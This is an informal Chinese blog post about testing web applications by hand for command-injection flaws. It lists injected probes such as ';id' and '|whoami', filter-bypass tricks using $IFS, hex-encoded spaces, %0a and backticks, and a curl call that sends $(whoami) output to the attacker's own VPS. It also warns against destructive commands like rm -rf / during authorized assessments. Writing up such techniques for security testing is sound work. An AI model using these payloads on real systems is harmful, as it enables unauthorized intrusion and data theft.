手工检测命令执行

哈喽，各位网安圈的兄弟集美们！今天咱们不聊那些高大上的自动化扫描器，也不扯什么AI赋能（那玩意儿我试过，有时候真能把你带沟里去），咱们就坐下来，泡杯枸杞，好好唠唠这个老生常谈却又总让人阴沟里翻船的话题——手工检测命令执行。

说真的，每次看到群里有人丢个“大佬，帮我看看这个站有没有RCE”，我就想敲他脑袋！大哥，你以为命令执行是菜市场大白菜呢，拿个扫描器扫一圈就能捡漏？ 那些自动化工具，搞点简单的ping;id、|whoami还行，一旦遇到WAF（Web应用防火墙）或者人家程序员稍微动点脑子做了过滤，工具直接当场死机，给你报个“未发现漏洞”，你就真信了？那我只能送你俩字：天真！

咱们做手工检测，玩的就是一个“细活儿”。第一步，你得学会“投石问路”，别一上来就甩个大马的payload（攻击载荷），这就好比你追姑娘，上来就问“能处对象不？”，人家不拉黑你才怪！你得先发个ping 127.0.0.1这种人畜无害的，看看时间延迟是不是不对劲，哎？如果延迟了1秒、2秒，嘿，我这小雷达立马就竖起来了！ 这不就是传说中的“时间盲注”吗？哦不对，是时间盲打命令执行！这时候我嘴角就开始上扬了，心说：小样,藏得还挺深！

紧接着，就是验证与绕过的艺术了，这里我得吐槽一句，现在很多CTF（夺旗赛）选手写WP（题解）写得飞起，一到实战就抓瞎，为啥？因为实战里有过滤啊！你辛辛苦苦构造个cat /flag，结果人家把空格给你过滤了，把给你转义了,这时候你就得用脑子了呀！

咱得学会“方言”，空格不让用？没问题！我用IFS（内部字段分隔符）变量代替，或者用$(printf加十六进制编码\x20)嘛，管道符不让用？咱可以用%0a换行符骗过去，或者用（反引号）包裹命令。每一步都像在跟对方程序员玩心理博弈， 我在这儿费劲巴拉地编码，他在那边估计看着日志一脸懵：这请求咋这么抽象？谁家正常人访问网站参数里带个$IFS$IFS啊？哈哈，这感觉，贼刺激！

而且啊，手工检测里最大的乐趣和痛点就是“看回显”，如果目标直接把whoami的结果打印在网页上，那恭喜你，这属于“送分题”，但更多时候，它是不回显的，像个闷葫芦，这时候我咋办？我可不会傻乎乎地只靠sleep去猜。 我会尝试用curl把我需要的数据发到一个我能控制的VPS（虚拟专用服务器）上，比如执行curl http://myvps.com/和$(whoami)，然后在VPS日志里看谁访问了我。当我在日志里看到那个熟悉又陌生的用户名时，那心里的石头“咣当”一下就落地了，憋着的那口气儿总算喘匀了，那种成就感，比自己中彩票还爽！

光有技术不行，咱还得有副“好脾气”，有时候你试了十几种姿势，它就是纹丝不动，气不气人？气的我直跺脚！ 但我告诉你，这时候千万别砸键盘，喝口水，冷静一下，回去看看WAF的规则，或者是再翻翻前人的绕过大全，说不定就是某个JS（JavaScript）文件里泄露了参数名,你才遗漏了那个关键点。

最后啰嗦一句很重要的，手工检测一定要讲究“点到为止”，咱们是去做安全评估的，不是去把人家服务器搞瘫痪的。千万别为了验证漏洞就去执行rm -rf /这种命令，那是缺心眼儿！ 测试个echo、id、dir就得了，你要是真把人家生产环境给搞崩了，那可不是写份报告就能了事儿的,那是要进去踩缝纫机的！

哎，说了这么多，其实手工检测命令执行的核心就俩字：耐心 + 思维，工具是死的，但咱们的脑子是活的，多练练,你会发现这比玩任何解谜游戏都上头！

手工检测命令执行